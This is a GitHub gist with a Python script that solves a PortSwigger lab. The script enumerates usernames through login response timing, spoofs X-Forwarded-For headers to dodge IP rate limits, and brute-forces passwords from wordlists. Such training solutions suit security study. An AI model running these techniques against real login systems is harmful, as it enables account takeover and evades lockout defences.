Skip to content

Instantly share code, notes, and snippets.

@thewhiteh4t
Last active March 6, 2024 11:26
Show Gist options
  • Save thewhiteh4t/fb5f76af14095e2c6856cbb3db996a9c to your computer and use it in GitHub Desktop.
Save thewhiteh4t/fb5f76af14095e2c6856cbb3db996a9c to your computer and use it in GitHub Desktop.
PortSwigger | Authentication | Username enumeration via response timing
#!/usr/bin/env python3
'''
Solution for : Username enumeration via response timing
https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing
'''
import time
import random
import requests
url = 'https://0a5400b3044e391f83977d7100ca005b.web-security-academy.net/login'
num_retry = 3 # increase for accuracy but it will take more time
max_avg = 5
pass_len = 2000 # increase if you are getting false positives
with open('ps_time_users.txt') as userfile:
usernames = userfile.readlines()
with open('ps_time_pass.txt') as passfile:
passwords = passfile.readlines()
def measure(username):
payload = {
'username': username,
'password': 'A' * pass_len
}
timings = []
for i in range(0, num_retry):
headers = {
'X-Forwarded-For': str(random.randint(0, 9999))
}
start = time.perf_counter()
r = requests.post(url, data=payload, headers=headers)
resp_time = time.perf_counter() - start
timings.append(resp_time)
avg = sum(timings) / len(timings)
return avg
def brute(username, password):
payload = {
'username': username,
'password': password
}
headers = {
'X-Forwarded-For': str(random.randint(0, 9999))
}
r = requests.post(url, data=payload, headers=headers)
if 'Your username is' in r.text:
print(end='\x1b[2K')
print(f'[+] Password found : {password}')
return True
else:
return False
user_counter = 1
total_users = len(usernames)
for username in usernames:
user = username.strip()
print(end='\x1b[2K')
print(f'[!] Testing : {user_counter}/{total_users} -> {user}', end='\r')
time_taken = measure(user)
user_counter += 1
if user == 'wiener':
print(end='\x1b[2K')
print(f'\n[+] Avg time for wiener : {time_taken}s')
max_avg = int(time_taken) - 2
print(f'\n[!] Setting max_avg to {max_avg}s\n')
if time_taken > max_avg and user != 'wiener':
print(end='\x1b[2K')
print(f'[+] Username found : {user} -> Avg time : {time_taken}s\n')
break
print(f'[!] Starting brute force attack on {user}\n')
pass_counter = 1
total_pswds = len(passwords)
for password in passwords:
pswd = password.strip()
print(end='\x1b[2K')
print(f'[!] Testing : {pass_counter}/{total_pswds} -> {pswd}', end='\r')
pass_counter += 1
if brute(user, pswd):
break
@thewhiteh4t
Copy link
Author

Screenshot_2024-03-06_16-52-51

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment